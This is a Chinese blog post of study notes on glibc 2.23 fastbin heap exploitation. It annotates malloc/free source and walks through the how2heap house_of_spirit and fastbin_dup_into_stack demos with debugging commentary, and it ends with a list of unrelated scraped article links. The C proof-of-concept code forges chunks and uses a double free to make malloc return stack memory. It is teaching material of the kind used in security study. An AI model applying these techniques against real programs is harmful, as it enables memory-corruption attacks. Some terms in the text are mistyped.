fastbin attack学习小结
fastbin attack学习小结
之前留在本地的一篇笔记,复习一下。
下面以glibc2.23为例,说明fastbin管理动态内存的细节。先看一下释放内存的管理:
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
// 检查chunk大小是否大于max_fast的大小,如果是,则chunk进入Fastbins进行处理
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) { if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
/* chunk_at_offset将p+size这段内存强制看成一个chunk结构体,这里对fastbin中chunk的大小做出了限制,分配的最小的chunk不能小于2*SIZE,分配的最大的chunk不能大于av->system_mem */
{
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (! have_lock)
{
(void)mutex_unlock(&av->mutex);
locked = 0;
}
}
// 这一段代码表示对下一个chunk的size进行检查
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); set_fastchunks(av);
unsigned int idx = fastbin_index(size); // 根据chunk的大小,选择对应的Fastbin的idx
fb = &fastbin (av, idx); // /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
// 如果连续两次释放的是同一块地址的内存,会报double free的错误
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
可以看出,glibc2.23对于double free的管理非常地松散,如果连续释放相同chunk的时候,会报错,但是如果隔块释放的话,就没有问题。在glvibc2.27及以后的glibc版本中,加入了tcache机制,加强了对use after free的检测,所以glibc2.23中针对fastbin的uaf在glibc2.27以后,就失效了。
glibc2.23中对fastbin申请chunk的操作如下:
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
// 获取fastbin的index
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
// 检查链表的size是否合法
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
fastbin中检查机制比较少,而且fastbin作为单链表结构,同一链表中的元素由fd指针来进行维护。同时fastbin不会对size域的后三位进行检查,这导致glibc pwn中对于fastbin的利用和考察要比其它的bins中更加频繁。
其中,最为常见的利用思路,就是把chunk块劫持到其他的数据段,比如栈中,bss段或者_hook地址处等等。通过how2heap上的几个例子来进行理解。
House of spirit
house_of_spirit这种技术,通常是在别的数据段伪造一个chunk,这个chunk满足fastbin的大小,这时候,如果把这个chunk指针free掉,然后重新申请相同大小的堆块,就会把这个fake chunk申请出来。
fake chunk的时候,需要布置fake chunk的内容来绕过一下检测:
1.要避免double free的情况:fake chunk所指向的链表头部不能是fake chunk,上面的源码中有过展示;
2.fake chunk的ISMMAP这个位不能为1,free时,如果是mmap分配出的chunk,会被单独处理;
3.fake chunk的地址需要对齐(2size_t对齐);
4.fake chunk的next chunk的大小不能等于2*SIZE_SE,同时也不能大于av->system_mem,这个从上面的源码中也可以看出。
一般我们在看到,如果有向bss段,或者栈中有这种奇奇怪怪的输入,且输入空间比较大的时候,我们都可以考虑去伪造一个chunk。
这里记录一下how2heap上面house_of_spirit.c的调试过程:
#include <stdio.h>
#include <stdlib.h> int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]); fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
第一个断点设在malloc(1)处,在64位下的最小申请的chunk最小大小是32个字节。

unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
这里定义了一个无符号长长整型的fake_chunks的数组,并且做了一个16字节的地址对齐。以及一个无符号长长整型的指针a。
断点下到fake_chunks[1]=0x40这里,这里就是确定了fake chunk的大小。fake chunk的大小必须落在fastbin的区间,但是next chunk的大小只需满足: > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena)即可。
fake_chunk[9]这里伪造了next size的大小,满足条件大于2 SIZE_SE,小于system_mem。
然后把fake_chunk的地址赋值给a,伪造完chunk块之后,就可以尝试free一下,看看会发生什么:

可以看到,有一个不是堆上的地址进入了fastbin中(我调试的时候,系统默认的libc版本是2.27,所以这里fake chunk的地址进入了tcachebins中,但是不影响调试和调试结果,tacache主要会对double free做一个更加严格的检查)。

这个地址,就是我们之前在栈中伪造的地址。
然后,重新malloc,我们发现最后申请出的chunk,就是我们fake chunk的地址。
alloc_to_stack
house_of_spirit提前布置了fake_chunk,并且主动free掉了fake_chunk,来把栈上伪造的数据加入fastbin中。alloc_to_stack没有主动free栈上的伪造的chunk,而是通过修改已经free掉的chunk的fd指针,来把栈上伪造的chunk加入到fastbin中。
#include<stdio.h> typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
}CHUNK,*PCHUNK; int main(void)
{
CHUNK stack_chunk; void *chunk1;
void *chunk_a;
void *stack_ptr;
stack_ptr=&stack_chunk;
printf("stack_chunk address:%p\n",stack_ptr); stack_chunk.size=0x21;
chunk1=malloc(0x10);
printf("chunk1 address:%p\n",chunk1); free(chunk1);
printf("chunk1 address:%p\n",chunk1); *(long long*)chunk1=&stack_chunk;
malloc(0x10);
chunk_a=malloc(0x10);
printf("chunk_a address:%p\n",chunk_a);
return 0;
}
这个例子,我们调试以上代码,为了方便直接观察内存分配的布局,将关键的地址值全部打印出来,同时通过给结构体中变量赋值,省略了在栈上布置数据的过程。
断点下在malloc(0x10)这里。可以看到,我们首先申请了一个chunk,然后释放掉,然后我们再修改chunk的fd指针为栈上伪造的chunk的地址。

根据stack LIFO的特性,先申请一次chunk把堆上的地址分配出去,再申请一次chunk,我们就可以把我们的chunk布置到栈中。
向我们上面直接给fd指针赋值是一种非常理想化的操作,在实际漏洞和题目中基本不会存在这种类似的利用场景。更多得需要通过uaf或者堆溢出来修改chunk的fd指针。
fastbin_dup_into_stack
how2heap上的fastbin_dup_into_stack.c也是运用到alloc_to_stack这种技术,但是这里就需要用到double free的方式修改fastbin中chunk的fd指针了。调试过程记录如下:
#include <stdio.h>
#include <stdlib.h> int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c); fprintf(stderr, "Freeing the first one...\n");
free(a); fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a); fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b); fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a); fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20; fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
fastbin_dup_into_stack中如果用到ubuntu 18.04的libc-2.27.so编译的话,由于tcache机制的检测,double free的问题会被检测出来,所以这里用patchelf修改了链接器和动态链接库。
程序首先申请了三块堆块:

fprintf(stderr, "Freeing the first one...\n");
free(a); fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a); fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b); fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
这样释放chunk是为了绕过double free的检测。这时候可以看到,0x603000这个地址,在fastbin的链表中被添加了两次。

unsigned long long *d=malloc(8);
这时候,申请出来的堆块实际上就是0x603000地址所在的chunk。但是,由于它被free了两次,所以它现在仍然在fastbin中,这时候,我们可以控制它的fd指针。
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
这时候,实际上是把栈上的地址加入fastbin链表,在之后的malloc中进行分配。为了能够顺利地把fake chunk添加到fastbin链表中,stack_var之前就被赋值为20。

fastbin如图所示,最后第四次分配的时候,就成功将栈上的目标地址分配出来了。
fastbin attack学习小结的更多相关文章
- Fastbin attack 总结
Fastbin attack 本文参考了ctf-wiki 和glibc 要了解fastbin attack,我们先要了解fastbin的机制.由于libc2.26后加入了tcache机制,我们这里就只 ...
- House_of_orange 学习小结
House_of_orange学习小结 house_of_orange最早出现在2016年hitcon的一道同名题目,其利用效果,是当程序没有free函数的时候,我们可以通过一些方法,来让chunk被 ...
- flex学习小结
接触到flex一个多月了,今天做一个学习小结.如果有知识错误或者意见不同的地方.欢迎交流指教. 画外音:先说一下,我是怎么接触到flex布局的.对于正在学习的童鞋们,我建议大家没事可以逛逛网站,看看人 ...
- Python 学习小结
python 学习小结 python 简明教程 1.python 文件 #!/etc/bin/python #coding=utf-8 2.main()函数 if __name__ == '__mai ...
- react学习小结(生命周期- 实例化时期 - 存在期- 销毁时期)
react学习小结 本文是我学习react的阶段性小结,如果看官你是react资深玩家,那么还请就此打住移步他处,如果你想给一些建议和指导,那么还请轻拍~ 目前团队内对react的使用非常普遍,之 ...
- objective-c基础教程——学习小结
objective-c基础教程——学习小结 提纲: 简介 与C语言相比要注意的地方 objective-c高级特性 开发工具介绍(cocoa 工具包的功能,框架,源文件组织:XCode使用介绍) ...
- pthread多线程编程的学习小结
pthread多线程编程的学习小结 pthread 同步3种方法: 1 mutex 2 条件变量 3 读写锁:支持多个线程同时读,或者一个线程写 程序员必上的开发者服务平台 —— DevSt ...
- ExtJs学习笔记之学习小结LoginDemo
ExtJs学习小结LoginDemo 1.示例:(登录界面) <!DOCTYPE html> <html> <head> <meta charset=&quo ...
- 点滴的积累---J2SE学习小结
点滴的积累---J2SE学习小结 什么是J2SE J2SE就是Java2的标准版,主要用于桌面应用软件的编程:包括那些构成Java语言核心的类.比方:数据库连接.接口定义.输入/输出.网络编程. 学习 ...
随机推荐
- spring boot @Async异步注解上下文透传
上一篇文章说到,之前使用了@Async注解,子线程无法获取到上下文信息,导致流量无法打到灰度,然后改成 线程池的方式,每次调用异步调用的时候都手动透传 上下文(硬编码)解决了问题. 后面查阅了资料,找 ...
- kubernetes获取崩溃容器/上一个容器的应用日志
kubectl logs命令将显示当前容器的日志.当你想知道为什么前一个容器终止时,你想看到的是前一个容器的日志,而不是当前容器的.可以通过添加--previous选项来完成: $ kubectl l ...
- 7. Qt中与垃圾回收机制相关的替代方法(未完
容器支持引用计数和写时复制 父对象和子对象 QPointer.QSharedPointer.QWeakReference 对象子类化 栈对象
- linux设备驱动编写入门
linux设备驱动是什么,我个人的理解是liunx有用户态和内核态,用户空间中是不能直接对设备的外设进行使用而内核态中却可以,这时我们需要在内核空间中将需要的外设驱动起来供用户空间使用.linux的驱 ...
- 前端 | Vue 路由返回恢复页面状态
需求场景:首页搜索内容,点击跳转至详情页,页面后退返回主页,保留搜索结果. 方案:路由参数:路由守卫 需求描述 在使用 Vue 开发前端的时候遇到一个场景:在首页进行一些数据搜索,点击搜索结果进入详情 ...
- MySql:mysql命令行导入导出sql文件
命令行导入 方法一:未连接数据库时方法 #导入命令示例 mysql -h ip -u userName -p dbName < sqlFilePath (结尾没有分号) -h : 数据库所在的主 ...
- Quartz和Spring Task定时任务的简单应用和比较
看了两个项目,一个用的是Quartz写的定时器,一个是使用spring的task写的,网上看了2篇文章,写的比较清楚,这里做一下留存 链接一.菠萝大象:http://www.blogjava.net/ ...
- bash的RANDOM变量生成的是真正的随机数吗
static void seedrand () { struct timeval tv; gettimeofday (&tv, NULL); sbrand (tv.tv_sec ^ tv.tv ...
- webpack(11)配置文件分离为开发配置、生成配置和基础配置
前言 上篇我们已经配置好了本地开发服务器,但是配置的相对比较凌乱,一个文件中有些是开发时用到的配置,有些是生成时用到的配置,有些是开发和生成都要用到的配置,所以我们这里把环境分为3个环境 webpac ...
- runtime使用总结
runtime这个东西,项目是很少用到的,但面试又避不可少,了解其内部的机制对底层的理解还是很有必要的. 1.动态添加属性 拓展类别属性的简单实现 a.定义字面量指针 static char dyna ...